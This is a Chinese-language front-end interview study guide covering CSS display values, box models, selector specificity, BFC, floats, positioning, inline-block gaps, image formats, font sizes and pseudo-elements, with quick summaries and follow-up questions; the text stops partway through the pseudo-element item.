  1. block:将元素转换为块状元素,独占一行,可设置宽度、高度、边距等属性。
  2. inline:将元素转换为行内元素,不独占一行,只占据内容所需的空间,无法设置宽度、高度等块级属性。
  3. none:设置元素不可见,在渲染时将其完全隐藏,不占据任何空间。
  4. inline-block:使元素既具有行内元素的特性(不独占一行),又具有块级元素的特性(可设置宽度、高度等属性),可以看作是行内块状元素。
  5. list-item:将元素作为列表项显示,常用于有序列表(<ol>)和无序列表(<ul>)中,会添加列表标记。
  6. table:将元素作为块级表格显示,常用于构建表格布局,类似于<table>元素。
  7. inherit:规定应从父元素继承display属性的值,使元素继承父元素的框类型。

这些display属性值用于控制元素的外观和布局,通过选择适当的值可以实现不同的布局效果。

💬 面试官追问

  • inline-block 元素之间有几像素空隙,怎么回事?

    HTML 里标签之间的换行和空格被当成了一个空白字符,按字号渲染出宽度。父元素改成 display: flex 最省事,或者父元素 font-size: 0 再在子元素里重设字号。

  • span 设了 height: 40px 没生效,padding 上下也不撑开行高,为什么?

    inline 元素的宽高由内容决定,width、height 无效;上下 padding 和 margin 会画出来但不占布局空间,不会推开上下行。要设尺寸就改 inline-block。

  • display: contents 什么时候用?

    组件包了一层 div,导致子元素没法直接参与外层的 grid / flex 时,给这层 div 加 display: contents 让它消失。注意它自己的背景、边框、padding 都不会再生效。

  • display: inherit 实际有人用吗?

    很少。display 不是继承属性,inherit 是所有属性通用的关键字,不是 display 的特有值。偶尔在重置第三方组件样式时会用到。

# 11 介绍一下标准的CSS的盒子模型?低版本IE的盒子模型有什么不同的?

⚡ 30 秒速记

  • 四层由内到外:content → padding → border → margin
  • 标准盒模型 content-box(默认):width 只算内容,实际宽 = width + 左右 padding + 左右 border
  • IE 怪异盒模型(IE5,或 IE6~8 没写 DOCTYPE 时):width 已经包含 padding 和 border
  • 现代浏览器用 box-sizing: border-box 拿到同样的算法,项目一般全局设上
  • 两种模型的 width 都不含 margin;忘写 <!DOCTYPE html> 进怪异模式至今仍会出这类问题

区别只有一个:你写的 width 到底管多大。 标准模型下 width 只管内容区,padding 和 border 往外加;IE 怪异模型下 width 是连 padding 和 border 一起算的总宽。举个例子,width: 200px; padding: 20px; border: 1px,标准模型实际占 242px,怪异模型就是 200px。后来大家发现怪异模型反而更好用,改 padding 不会把布局撑破,所以 CSS3 加了 box-sizing: border-box,现在几乎每个项目的初始化样式第一行就是它。

.box { width: 200px; padding: 20px; border: 1px solid; }
/* content-box:实际宽 200 + 40 + 2 = 242px */
/* border-box:实际宽 200px,内容区被压缩成 158px */
*, *::before, *::after { box-sizing: border-box; }
  • 有两种,IE盒子模型、W3C盒子模型;
  • 盒模型:内容(content)、填充(padding)、边界(margin)、 边框(border);
  • 区 别: IE的content部分把border和padding`计算了进去;
  • 盒子模型构成:内容(content)、内填充(padding)、 边框(border)、外边距(margin)
  • IE8及其以下版本浏览器,未声明 DOCTYPE,内容宽高会包含内填充和边框,称为怪异盒模型(IE盒模型)
  • 标准(W3C)盒模型:元素宽度 = width + padding + border + margin
  • 怪异(IE)盒模型:元素宽度 = width + margin
  • 标准浏览器通过设置 css3 的 box-sizing: border-box 属性,触发“怪异模式”解析计算宽高

box-sizing 常用的属性有哪些?分别有什么作用

box-sizing属性用于控制元素的盒模型类型,常用的属性值有:

  1. content-box:默认值,使用标准的W3C盒模型,元素的宽度和高度仅包括内容区域(content),不包括填充、边框和外边距。
  2. border-box:使用怪异的IE盒模型,元素的宽度和高度包括内容区域(content)、填充(padding)和边框(border),但不包括外边距(margin)。即元素的宽度和高度指定的是内容区域加上填充和边框的总宽度和高度。
  3. inherit:继承父元素的box-sizing属性值。

通过设置不同的box-sizing属性值,可以控制元素的盒模型类型,进而影响元素的布局和尺寸计算。使用border-box可以更方便地处理元素的宽度和高度,特别适合响应式布局和网格系统的设计。

💬 面试官追问

  • 两列各 width: 50%,加了 padding: 10px 之后第二列掉到下一行,怎么修?

    content-box 下每列实际宽是 50% 加 20px,加起来超过 100% 就换行了。加 box-sizing: border-box,padding 算在 50% 里面。

  • box-sizing 为什么要连 ::before 和 ::after 一起写?

    * 选择器不匹配伪元素,伪元素的 box-sizing 还是默认的 content-box。用伪元素画装饰时尺寸会对不上,所以初始化要写 *, *::before, *::after。

  • border-box 下 padding 比 width 还大会怎样?

    内容区宽度会被压到 0,不会变成负数,元素实际宽度就被撑大到 padding + border 的总和。

  • 现代浏览器还会进怪异模式吗?

    会,页面没写 <!DOCTYPE html> 就进 quirks mode,盒模型、表格字号等行为会变。可以在控制台跑 document.compatMode,返回 BackCompat 就是怪异模式,正常应该是 CSS1Compat。

# 12 CSS优先级算法如何计算?

⚡ 30 秒速记

  • 权重是三元组 (ID 数, 类/属性/伪类数, 元素/伪元素数),从左往右比,高位直接决定,不会「进位」
  • 比三元组之前先看:带 !important 的 > 内联 style > 普通规则;@layer 也在这一步参与排序
  • 权重完全相同 → 后写的赢
  • :is() / :not() / :has() 取括号里最高的那个权重;:where() 恒为 0,适合写可被覆盖的默认样式
  • 通配符 *、组合符(>、+、空格)都不计权重;继承来的值优先级最低,比任何直接命中的规则都弱

CSS 优先级算的是一个三元组:ID 个数、类和伪类个数、标签个数,从左往右逐位比。 比如 #nav .item a 是 (1, 1, 1),.nav .list .item a 是 (0, 3, 1),前者赢,因为第一位就大了,后面再多类选择器也追不上。在这之上还有几层:!important 最大,然后是内联 style,然后才比选择器权重,最后权重一样就看谁写在后面。我在组件库里会用 :where() 写默认样式,它权重为 0,业务方随便写个类就能覆盖,不用跟 !important 打架。

#nav .item a        { color: red; }  /* (1,1,1) 赢 */
.nav .list .item a  { color: blue; } /* (0,3,1) */
:where(.btn)        { color: gray; } /* (0,0,0),任何类都能覆盖 */

CSS优先级是用于确定当多个样式规则应用到同一个元素时,哪个样式规则会被应用的一种规则。优先级的计算基于选择器的权重。

以下是CSS优先级计算的一般规则:

  1. !important:样式规则使用了!important标记,具有最高优先级,无论其位置在哪里。
  2. 内联样式:直接应用在元素上的style属性具有较高的优先级。
  3. ID选择器:使用ID选择器的样式规则具有较高的优先级。例如,#myElement。
  4. 类选择器、属性选择器和伪类选择器:使用类选择器(例如.myClass)、属性选择器(例如[type="text"])和伪类选择器(例如:hover)的样式规则的优先级较低于ID选择器。
  5. 元素选择器和伪元素选择器:使用元素选择器(例如div)和伪元素选择器(例如::before)的样式规则的优先级较低于类选择器、属性选择器和伪类选择器。

当存在多个样式规则具有相同的优先级时,会根据以下规则进行决定:

  • 就近原则:当同一元素上存在多个具有相同优先级的样式规则时,最后出现的样式规则将被应用。
  • 继承:某些样式属性可以被子元素继承,如果父元素具有样式规则,子元素将继承该样式。

需要注意的是,以上规则仅适用于一般情况,有些情况下可能存在更复杂的优先级计算。同时,使用!important应该谨慎,过度使用!important可能导致样式管理困难和维护问题。

💬 面试官追问

  • 写了 11 个 class 能不能打赢 1 个 ID?

    不能,写 256 个也不能。三个位置是分开比的,不存在「10 个类等于 1 个 ID」的进位关系。那个 256 个类能赢的说法,是早年浏览器用 8 位存储溢出导致的缺陷,早就修了。

  • 改第三方组件样式,写了很长的选择器还是盖不住,怎么办?

    先在 DevTools 的 Styles 面板看是被谁划掉的、权重多少。多半是组件内联了 style 或者用了 !important,这时候只能用 !important 对抗,或者通过组件的 className / style 属性、CSS 变量入口来改。

  • !important 什么时候可以用?

    覆盖内联样式或第三方库、写工具类(比如 .hidden { display: none !important })时可以。业务样式里出现我会拦,一旦开了头,后面的人只能继续叠 !important。

  • .a:not(#b) 的权重是多少?

    (1, 1, 0)。:not() 自身不算,但括号里的 #b 要算,所以它比 .a 高了一个 ID。这个点很多人以为 :not() 不计权重就是 0。

  • @layer 会影响优先级吗?

    会,而且比选择器权重先比。后声明的层赢,不在任何层里的样式比所有层都高,哪怕层里的选择器权重更大。用来把第三方库样式放进低优先级层很好用。

# 13 对BFC规范的理解?

⚡ 30 秒速记

  • 和第 5 题同一个考点,这题更偏「规范层面」:页面由各种盒子组成,每种盒子参与不同的格式化上下文
  • BFC 内部规则:块级盒子垂直排列,同一 BFC 里相邻块的垂直外边距会合并
  • 对外表现:区域不和浮动重叠、高度包含浮动子元素、和外部的外边距不合并
  • 触发:flow-root、overflow 非 visible、float、absolute/fixed、inline-block、table-cell,flex / grid 子项
  • 能顺带提:还有 IFC(行内格式化上下文),flex / grid 容器给子项建立的是 flex / grid 格式化上下文

BFC 是 CSS 规范里块级盒子的一套排版规则,创建了 BFC 的元素就是一个和外界隔开的独立布局环境。 内部的块按顺序从上往下排,同一个 BFC 里相邻块的上下外边距会合并。对外它有三个特点:自己的高度会算上浮动的子元素,自己不会钻到外面浮动元素的底下,自己的边界能挡住内外外边距合并。理解了这几点,高度塌陷、两栏布局、外边距合并这几个经典问题就是同一个原理。顺带一提,行内元素走的是 IFC,flex 子项走的是 flex 格式化上下文,这也是 flex 子项之间外边距从来不合并的原因。

  • 一个页面是由很多个 Box 组成的,元素的类型和 display 属性,决定了这个 Box 的类型
  • 不同类型的 Box,会参与不同的 Formatting Context(决定如何渲染文档的容器),因此Box内的元素会以不同的方式渲染,也就是说BFC内部的元素和外部的元素不会互相影响

BFC(Block Formatting Context)是CSS中的一种渲染规范,用于决定和控制元素在文档中的布局和渲染方式。BFC定义了一个独立的渲染区域,使得处于不同BFC内部的元素相互隔离,互不影响。

以下是对BFC规范的一些理解:

  1. BFC的创建条件:触发BFC的条件包括元素的float属性不为none、position属性为absolute或fixed、display属性为inline-block、table-cell、table-caption等,以及通过特定的CSS属性(如overflow)进行触发。
  2. BFC的特性:
    • 内部的块级盒子会在垂直方向上一个接一个地放置。
    • 相邻的两个块级盒子的垂直外边距会发生合并。
    • BFC的区域不会与浮动元素重叠。
    • BFC在页面布局时会考虑浮动元素。
    • BFC可以包含浮动元素,并计算其高度。
    • BFC的边界会阻止边距重叠。
  3. BFC的应用:
    • 清除浮动:创建一个父级元素成为BFC,可以清除其内部浮动的影响,避免父元素塌陷。
    • 创建自适应的两栏布局:通过将两个列容器设置为BFC,可以避免它们相互影响。
    • 阻止边距重叠:当两个相邻元素的边距发生重叠时,将其中一个元素设置为BFC,可以解决边距重叠问题。

总的来说,BFC规范通过创建独立的渲染上下文,使得元素的布局和渲染更加可控,避免了一些常见的布局问题和冲突。它在清除浮动、解决边距重叠等方面具有重要的应用价值。

💬 面试官追问

  • 两个兄弟 div 一个 margin-bottom: 20px,一个 margin-top: 30px,间距是多少?

    30px,同一个 BFC 里相邻块的垂直外边距合并取大值。想让它们不合并,可以把其中一个包进一个 display: flow-root 的容器里。

  • 为什么把父元素改成 display: flex,子元素之间的外边距就不合并了?

    因为 flex 容器给子项建立的是 flex 格式化上下文,外边距合并是块级格式化上下文才有的规则,flex 子项之间根本不适用。grid 也一样。

  • 根元素 <html> 算 BFC 吗?

    算,它是整个页面最外层的 BFC。所以浮动元素再怎么飘,也不会飘出 <html> 的范围。

  • BFC 和层叠上下文是一回事吗?

    不是。BFC 管的是盒子怎么排列,层叠上下文管的是 z-index 谁盖谁。有些属性同时触发两者,比如 position: absolute 加 z-index,但概念上要分开。

# 14 谈谈浮动和清除浮动

⚡ 30 秒速记

  • float 本来是为文字环绕图片设计的,拿来做多栏布局是历史上的「借用」
  • 浮动元素脱离常规流,块级兄弟会当它不存在、跑到它下面;但兄弟里的文字会绕开它 → 这就是环绕
  • 副作用:父元素高度塌陷、后面元素被覆盖
  • 清除:后面元素加 clear: both、父元素 display: flow-root、clearfix 伪元素
  • 今天:布局用 flex / grid,float 只留给图文环绕;配合 shape-outside 还能做异形环绕

浮动本来是给「图片在左边、文字绕着它排」这种排版准备的,后来被大家拿去做多栏布局,才有了一堆清浮动的麻烦。 元素浮动后脱离了常规流,父元素算高度时不算它,所以会塌成 0;后面的块级元素也会顶上来跑到它下面,只有里面的文字会让开。清除就两类办法:在后面放一个 clear: both 的元素,或者让父元素建 BFC 把浮动包进来,现在写 display: flow-root 最干净。新代码做布局我不会用 float,图文环绕才用它。

.article img { float: left; margin: 0 16px 8px 0; shape-outside: circle(); } /* 文字沿圆形环绕 */
.article { display: flow-root; } /* 图片比文字高时,父元素也能包住 */

浮动(float)是CSS中的一种布局方式,它允许元素向左或向右浮动并脱离文档的正常流,其他元素会围绕浮动元素进行布局。

浮动的特点和应用:

  1. 元素浮动后,其原位置会被其他元素填充,不再占据文档流中的空间。
  2. 浮动元素会尽可能地靠近其包含块的左侧或右侧,直到遇到另一个浮动元素或包含块的边界。
  3. 浮动元素可以通过设置float属性为left或right进行左浮动或右浮动。
  4. 常见应用包括实现多列布局、文字环绕图片等。

清除浮动(clear float)是为了解决浮动元素带来的影响和布局问题而采取的措施。

浮动元素会导致其父元素的高度塌陷(父元素无法检测到浮动元素的高度),以及其他元素可能与浮动元素重叠。为了解决这些问题,可以使用清除浮动的方法:

  1. 空元素清除浮动:在浮动元素后面添加一个空的块级元素,并设置其clear属性为both,使其在浮动元素下方换行,达到清除浮动的效果。
  2. 父级元素使用overflow属性:给包含浮动元素的父元素设置overflow属性为auto或hidden,可以触发BFC(块格式化上下文),从而包含浮动元素。
  3. 使用伪元素清除浮动:使用::after伪元素给包含浮动元素的父元素添加一个清除浮动的样式,例如设置content为空字符串、display为table等。
  4. 使用clearfix类:给包含浮动元素的父元素添加一个clearfix类,该类定义了清除浮动的样式,例如设置clearfix类的::after伪元素清除浮动。

需要注意的是,清除浮动的方法应当适用于具体的布局需求和兼容性考虑。同时,清除浮动可能会影响到其他样式的布局,因此需要综合考虑和测试。

💬 面试官追问

  • 左边浮动的图片后面跟了一个有背景色的 div,背景钻到图片底下了,为什么?

    浮动元素脱离常规流,div 的盒子当它不存在,照常从左边开始;只有 div 里的文字会绕开图片。给这个 div 加 display: flow-root,它就会缩到图片右侧。

  • clear: both 加在哪个元素上?

    加在浮动元素后面那个、你希望它出现在浮动下方的元素上。加在浮动元素自己身上没用,clear 只能管自己和前面的浮动之间的关系。

  • 多个图片 float: left 排成一行,高度不一时下一行排得乱七八糟,为什么?

    浮动元素换行时会被上一行较高的那个卡住,挂在它旁边而不是回到最左边。这种网格直接用 flex-wrap 或 grid,别用浮动。

  • 现在还有什么场景必须用 float?

    图文环绕,flex 和 grid 都做不到让文字绕着一个元素流动。配合 shape-outside 还能让文字沿圆形或图片轮廓环绕。

# 15 position的值, relative和absolute定位原点是

⚡ 30 秒速记

  • 五个值:static(默认)、relative、absolute、fixed、sticky
  • relative:以自己原来的位置为原点偏移,原位置还占着,不脱离文档流
  • absolute:以最近的「position 非 static」祖先的 padding box 左上角为原点;一个都没有就相对初始包含块(视口大小,跟着文档滚动)
  • fixed:相对视口;坑是祖先有 transform、filter、perspective、will-change: transform 时,会改成相对这个祖先
  • sticky:跨过阈值前像 relative,之后像 fixed;必须写 top 等阈值,最近的滚动祖先有 overflow: hidden 时会以它为滚动容器,常常看起来就失效了

relative 的原点是元素自己原来的位置,absolute 的原点是最近一个定位祖先的内边距框左上角。 relative 就像挪了挪自己但座位还留着,旁边的元素不会补位;absolute 是直接离开座位,按「最近的、position 不是 static 的祖先」来找坐标,所以常见写法是父元素 relative、子元素 absolute。注意 absolute 是从祖先的 padding 边开始算,不是 border 外边,top: 0 会贴着祖先的边框内侧。原资料里说两者原点都是「正常文档流中的位置」,这只对 relative 成立。

.parent { position: relative; border: 10px solid; padding: 20px; }
.child  { position: absolute; top: 0; left: 0; } /* 贴着边框内侧,不受 padding 影响 */

position 属性用于控制元素的定位方式,常用的取值包括:

  • static:默认值,表示元素在文档流中正常定位,不会受到 top、right、bottom、left 属性的影响。
  • relative:生成相对定位的元素,相对于其正常位置进行定位,通过设置 top、right、bottom、left 属性来调整元素的位置,不会脱离文档流,周围的元素仍然会按照正常布局进行排列。
  • absolute:生成绝对定位的元素,相对于最近的非 static 定位的父元素进行定位,如果没有非 static 定位的父元素,则相对于文档根元素(即浏览器窗口)进行定位。绝对定位的元素会脱离文档流,不占据空间,可以通过设置 top、right、bottom、left 属性来精确控制元素的位置。
  • fixed:生成绝对定位的元素,相对于浏览器窗口进行定位,不会随着页面的滚动而改变位置。可以通过设置 top、right、bottom、left 属性来指定元素的位置。
  • inherit:规定从父元素继承 position 属性的值。

对于 relative 和 absolute 定位,其原点(坐标基准点)是元素在正常文档流中的位置。通过调整 top、right、bottom、left 属性,可以相对于原点在水平和垂直方向上进行偏移,实现元素的精确定位。

💬 面试官追问

  • 弹窗用 position: fixed 写的,放进一个有 transform 动画的容器后不再固定了,为什么?

    祖先有 transform 时会成为 fixed 元素的包含块,fixed 就退化成相对这个祖先定位,跟着它滚动。弹窗用 Portal 挂到 body 下最省事。

  • sticky 吸顶不生效,一般查哪几处?

    三处:有没有写 top;祖先链上有没有 overflow: hidden / auto,有的话它就成了滚动容器;父元素高度是不是刚好等于它自己,没有滚动的余地。

  • absolute 元素没设 top、left,它出现在哪?

    留在它本该在常规流中的位置(静态位置),只是不占空间了。所以只写 position: absolute 不写偏移,元素看起来没动,但后面的内容会顶上来。

  • absolute 的子元素写 width: 100%,是相对谁的宽度?

    相对包含块的 padding box,也就是最近定位祖先的内容加 padding,不是直接父元素。父元素不是定位元素时,结果常常出人意料。

  • relative 偏移和 transform: translate 移动元素,有什么区别?

    视觉效果差不多,都不影响周围布局。但改 top / left 做动画会触发重排,translate 只走合成,动画场景用 transform。

# 16 display:inline-block 什么时候不会显示间隙?

⚡ 30 秒速记

  • 间隙来源:标签之间的换行、空格被当成一个空白字符渲染,宽度约等于当前字号下一个空格,不是 margin
  • 所以「不显示间隙」的条件就是:相邻 inline-block 之间没有空白字符,或者空白字符宽度为 0
  • 首选:父元素改 display: flex / grid,子项被块级化,空白文本直接不参与排版
  • 老办法:父元素 font-size: 0 子元素再设回字号 / 标签写成一行或用注释填住换行
  • 负 margin、负 letter-spacing / word-spacing 依赖具体字体,换个字体就露馅,不推荐
  • 另一个常被混淆的缝:图片或 inline-block 底部那几像素是基线对齐留出来的,要 vertical-align: top 或 display: block

相邻的 inline-block 之间没有空白字符时,那条缝就不会出现。 说白了这是个文本问题:inline-block 走的是行内排版,源码里的换行和空格会被折叠成一个空格渲染出来,16px 的字号下大概就是 4px 左右。所以要么让空白消失,比如标签写成一行;要么让空白宽度变成 0,比如父元素 font-size: 0。现在我基本直接把父元素改成 flex,子项不再按行内排,空白文本就不参与布局了,也不用担心字号继承的问题。

display: inline-block 元素在默认情况下会产生间隙,这是因为它们被视为行内元素,会保留默认的行框高度和基线对齐。然而,可以采取一些方法来消除这些间隙,使元素紧密排列,例如在携程网站中的布局。

以下是一些消除间隙的常见方法:

  1. 移除空格:在 HTML 代码中,将 inline-block 元素之间的空格删除,以消除间隙。
  2. 使用负值 margin:通过设置负值的左右外边距(margin)来抵消间隙。例如,可以使用 margin-right: -4px; 来消除间隙。
  3. 使用 font-size: 0;:将 inline-block 元素的父元素的字体大小设置为 0,然后在 inline-block 元素上重新设置所需的字体大小。这样可以消除间隙,因为元素内部没有文字导致的间隙。
  4. 使用 letter-spacing:在 inline-block 元素的父元素上设置负值的 letter-spacing,例如 letter-spacing: -4px;,可以消除间隙。
  5. 使用 word-spacing:在 inline-block 元素的父元素上设置负值的 word-spacing,例如 word-spacing: -4px;,可以消除间隙。

这些方法都是通过调整元素的布局或字体属性来实现消除间隙的效果。具体的方法选择取决于实际需求和布局要求。

💬 面试官追问

  • 父元素写了 font-size: 0,子元素里的文字全没了,怎么回事?

    font-size 会继承,子元素没重新设字号就跟着变成 0 了。子元素要写回具体值,比如 font-size: 14px;用 em 是不行的,0 乘任何倍数还是 0,得用 rem 或 px。

  • 用 margin-right: -4px 抵消间隙,换了个字体又露出 1px 的缝,为什么?

    空格宽度是字体决定的,不同字体、不同字号下空格宽度都不一样,-4px 只是碰巧在那个字体下合适。这种魔法数一般不让进代码,直接换 flex 或 font-size: 0。

  • 横向排了一排 inline-block 的图片,底下还有一条 3px 的白边,也是空格导致的吗?

    不是,这是垂直方向的缝。inline-block 和图片默认 vertical-align: baseline,底部要给字母的下降部分留位置。给子元素写 vertical-align: top 或者 middle 就没了。

  • 改成 flex 之后间隙没了,但原来的 text-align: center 不生效了,怎么办?

    text-align 只管行内内容,子项变成 flex 项之后不再按行内排,所以失效。改用容器上的 justify-content: center,间距用 gap 控制。

  • 模板里用 v-for 渲染的 inline-block 列表也有缝吗?

    看编译结果。Vue 3 模板编译默认 whitespace: 'condense',元素之间只含换行的空白会被删掉,所以 v-for 渲染出来的兄弟节点之间一般没有空格;但手写的相邻标签之间如果有空格就还会保留。JSX 里换行产生的空白也会被丢掉,同一行写空格才会保留。

# 17 PNG\GIF\JPG的区别及如何选

⚡ 30 秒速记

  • JPG:有损压缩、不支持透明、色彩丰富 → 照片、渐变大图
  • PNG:无损压缩、支持透明。PNG-8 调色板最多 256 色体积小;PNG-24/32 真彩色带 alpha,体积大 → 图标、截图、要透明的图
  • GIF:最多 256 色、只有一位透明(要么全透要么不透)、支持动画,压缩效率差 → 现在基本只剩表情包
  • 现在的选型:照片 AVIF / WebP + JPG 兜底,图标用 SVG,动图换成 <video> 或动画 WebP
  • 落地:<picture> 里按 AVIF → WebP → JPG 写多个 <source type>,浏览器挑第一个支持的

看图的内容选:照片用有损的 JPG,要透明或者要像素清晰的图用 PNG,GIF 现在只在要动画又图省事时才用。 区别主要在压缩方式和透明能力:JPG 有损,同等画质下照片体积最小,但不支持透明,文字截图压了会糊边;PNG 无损、支持半透明,照片存成 PNG 体积能大好几倍;GIF 只有 256 色,渐变会出色带,透明边缘还有锯齿。实际项目里我会再往前走一步:照片优先出 WebP 或 AVIF,同画质能比 JPG 小 25%~50%,用 <picture> 给老浏览器留 JPG 兜底。

PNG, GIF, 和 JPG 是常见的图像文件格式,它们在以下方面有所区别:

  1. GIF (Graphics Interchange Format)

    • 使用 8 位像素,最多支持 256 种颜色。
    • 采用无损压缩算法,不会损失图像质量。
    • 支持简单的动画功能,可以创建循环播放的图像。
    • 支持二进制透明和索引透明,可以实现简单的透明效果。
    • 适用于图标、简单的动画和带有透明背景的图像。
  2. JPEG (Joint Photographic Experts Group)

    • 支持高达 16.7 百万种颜色,适合存储照片和复杂图像。
    • 使用有损压缩算法,可以调整压缩质量以平衡图像质量和文件大小。
    • 不支持透明效果,背景会被默认填充为白色。
    • 适合摄影、艺术作品等需要保留高质量细节的图像。
  3. PNG (Portable Network Graphics)

    • 有两种类型:PNG-8 和真彩色 PNG。
    • PNG-8 类似于 GIF,支持最多 256 种颜色,文件较小,可以实现透明效果。
    • 真彩色 PNG 支持高分辨率的真彩色图像,文件较大,支持完全的 alpha 透明度。
    • 不支持动画功能。
    • 适合图标、背景、按钮等需要透明度的图像。

选择使用哪种图像格式取决于图像的特点和用途:

  • 如果需要动画效果,可以选择GIF格式。
  • 如果是照片或复杂图像,需要高质量和丰富的颜色,可以选择 JPG 格式。
  • 如果需要透明背景或简单的透明效果,可以选择 PNG 格式,根据图像的复杂性选择 PNG-8 或真彩色 PNG。

💬 面试官追问

  • 一个带圆角阴影的商品图要放在彩色背景上,用哪种格式?

    需要半透明的阴影,JPG 直接出局,GIF 只有全透或不透,阴影边缘会有白边锯齿。选 PNG-32 或者带 alpha 的 WebP,后者体积通常小一半多。

  • 加载动画用了一个 2MB 的 GIF,怎么优化?

    转成 MP4 / WebM,用 <video autoplay muted loop playsinline> 播放,体积一般能降一个数量级。纯图标类的 loading 直接用 CSS 动画或者 Lottie 更合适。

  • 设计给的截图里有很多文字,存 JPG 后边缘发虚,为什么?

    JPG 按 8x8 的块做有损压缩,最擅长的是平滑过渡,文字这种锐利边缘最容易出振铃和色块。截图、UI 图用 PNG 或无损 WebP。

  • <picture> 里写了 AVIF 和 JPG,怎么确认用户实际拿到的是哪个?

    Network 面板看那张图的 Type 列,或者在控制台读 img.currentSrc。注意 <source> 要写 type="image/avif",不写的话浏览器没法提前判断支不支持。

  • 既然 WebP 这么好,为什么还要留 JPG?

    主流浏览器都支持 WebP 了,留兜底主要是为了很老的 iOS Safari(14 以前不支持)和一些内嵌 WebView。AVIF 支持面更窄、编码也慢,所以通常是 AVIF → WebP → JPG 三层。

# 18 行内元素float:left后是否变为块级元素?

⚡ 30 秒速记

  • 是,计算值上会被「块级化」:display: inline 浮动后 getComputedStyle 读出来是 block
  • 能设 width / height、上下 padding / margin 都生效了
  • 但宽度是收缩包裹的(按内容算),不会像普通 block 那样撑满父容器,这点像 inline-block
  • 同样会块级化的还有:position: absolute / fixed、flex / grid 的子项
  • 反过来:absolute / fixed 会让 float 失效,计算值变成 none

会,浮动后元素的 display 计算值会被调整成 block,但它的宽度表现更像 inline-block,按内容收缩。 规范里叫块级化:浮动元素脱离了行内排版,没法再当行内盒子处理,所以 span 加了 float: left 之后,getComputedStyle 读出来就是 block,宽高、上下内边距都能用了。容易答错的是宽度:它不会自动撑满父元素,而是按内容来,要满宽得自己写 width: 100%。所以我一般这么说:计算值是 block,尺寸行为像 inline-block,周围的行内内容会绕着它排。

当行内元素设置了 float: left; 后,并非直接变为块级元素,而是表现出类似行内块级元素 (inline-block) 的特性。

行内元素设置了 float: left; 后会产生以下效果:

  • 行内元素会脱离文档流,并根据设置的浮动方向向左浮动。
  • 其宽度不再受到文本内容的限制,而是根据内容的宽度来确定。
  • 可以设置 padding-top、padding-bottom、width、height 等属性,并产生相应的效果。
  • 相邻的行内元素会环绕在其周围,形成类似于文本环绕的效果。

需要注意的是,设置了浮动的行内元素不会自动填充父元素的宽度,而是根据内容的宽度进行布局。如果希望行内元素具有块级元素的宽度特性,可以设置 width: 100%;

总结:行内元素设置了 float: left; 后,它的表现类似于行内块级元素,但仍然属于行内元素的性质,只是在布局和尺寸上有所改变。

💬 面试官追问

  • 那 span 加了 float 之后,再写 display: inline-block 有意义吗?

    没意义,计算值还是 block。老代码里常见 float: left; display: inline;,那是为了绕开 IE6 双倍 margin 的问题,今天可以删。

  • span 同时写了 position: absolute 和 float: left,最后按哪个排?

    按绝对定位。absolute / fixed 下 float 的计算值会变成 none,两个一起写的话浮动等于白写。

  • flex 容器里的 span 能直接设宽高吗?

    能,flex 子项也会被块级化,display: inline 会算成 block。所以给 flex 子项写 display: inline 是不起作用的。

  • 浮动后的 span 宽度刚好包住文字,我想让它两端对齐撑满一行怎么办?

    浮动元素宽度是收缩包裹的,要么显式写 width: 100%,要么干脆别浮动,直接 display: block。真要做两端对齐的排版,用 flex 更直接。

# 19 在网页中的应该使用奇数还是偶数的字体?为什么呢?

⚡ 30 秒速记

  • 一般用偶数:12px / 14px / 16px,这是行业惯例,不是硬规定
  • 好处一:配合 1.5 倍行高、居中、2x / 3x 换算时不容易出现半像素,文字和图标更好对齐
  • 好处二:早期 Windows 上的宋体等中文字体对 12 / 14 / 16 这类字号有内嵌点阵,奇数字号显示发虚
  • 设计体系里字号阶梯一般是 12 / 14 / 16 / 20 / 24,和 4px / 8px 栅格对得上
  • 实话:高分屏 + 矢量渲染下奇偶差异已经很小,设计稿要 13px 就给 13px

通常用偶数字号,主要是对齐方便和历史渲染原因,不是说奇数就一定不行。 偶数字号算行高、做垂直居中的时候更容易落在整数像素上,比如 14px 配 1.5 倍行高正好 21px,而一个 13px 的图标和 14px 的文字放一起,居中就会差半像素。另外早期 Windows 的中文字体对偶数字号做了点阵优化,奇数字号渲染会糊。现在高分屏上这些差别已经很难看出来了,我的态度是跟着设计规范走,规范里大多是偶数阶梯,那就用偶数。

在网页中,通常建议使用偶数字号的字体,即字号为偶数(如 12px、14px、16px 等)。这是因为偶数字号相对更容易与网页设计的其他部分构成比例关系,具有更好的视觉平衡和一致性。

以下是一些原因和考虑因素:

  1. 整数像素对齐: 偶数字号的字体大小通常是整数像素,而在网页渲染中,整数像素对齐可以提供更锐利和清晰的显示效果。当字号为奇数时,可能需要进行半像素渲染,这可能会导致字体显示模糊或模糊。
  2. 比例和对称: 使用偶数字号的字体可以更容易与其他设计元素形成比例和对称。网页设计通常依赖于一致的比例和对称性,而使用偶数字号的字体可以更好地与网页中的其他元素(如标题、段落、间距等)形成和谐的视觉关系。
  3. 浏览器兼容性: 一些浏览器对于奇数字号字体的渲染效果可能与偶数字号字体略有不同,可能会导致细微的差异。使用偶数字号字体可以减少在不同浏览器上的显示差异。

需要注意的是,这只是一些建议,并不意味着绝对规定。在实际设计中,根据具体情况和个人审美偏好,也可以使用奇数字号字体。最重要的是确保字体大小与整体设计风格和一致性相匹配。

💬 面试官追问

  • 设计稿上正文就是 13px,你会要求改成 14px 吗?

    不会硬改。高分屏上 13px 渲染没问题,真要沟通也是从规范一致性的角度,比如整个系统字号阶梯是不是统一,而不是说奇数会糊。

  • 图标和文字并排,看起来总是偏上一像素,跟字号有关系吗?

    很可能有关。比如 16px 的图标在 15px 字号、21px 行高里居中,算出来是半像素,浏览器取整就偏了。字号、行高、图标尺寸尽量同奇偶,或者直接用 flex 加 align-items: center。

  • 想用 10px 字号,Chrome 里显示还是 12px,为什么?

    中文版 Chrome 默认有最小字号 12px 的设置,小于它会被抬上去。真要更小就写 12px 再 transform: scale(0.83),但它不影响占位,要自己处理对齐。

  • 移动端用 rem 适配,算出来字号是 13.5px,会有问题吗?

    字号本身可以是小数,矢量字体能渲染,问题在行高和边框跟着算出小数后可能出现 1px 抖动。关键的高度、边框我会单独用整数 px 写。

# 20 ::before 和 :after中双冒号和单冒号 有什么区别?解释一下这2个伪元素的作用

⚡ 30 秒速记

  • 单冒号是 CSS2 写法;CSS3 引入双冒号,用来区分伪元素(::)和伪类(:)
  • 兼容:::before / ::after / ::first-line / ::first-letter 两种写法都认;新伪元素如 ::placeholder、::selection 只能双冒号
  • 作用:在元素内容的最前 / 最后插一个虚拟子元素,必须写 content(哪怕 content: '')才会生成
  • 用途:clearfix、图标角标、装饰线、引号、计数器、扩大点击热区
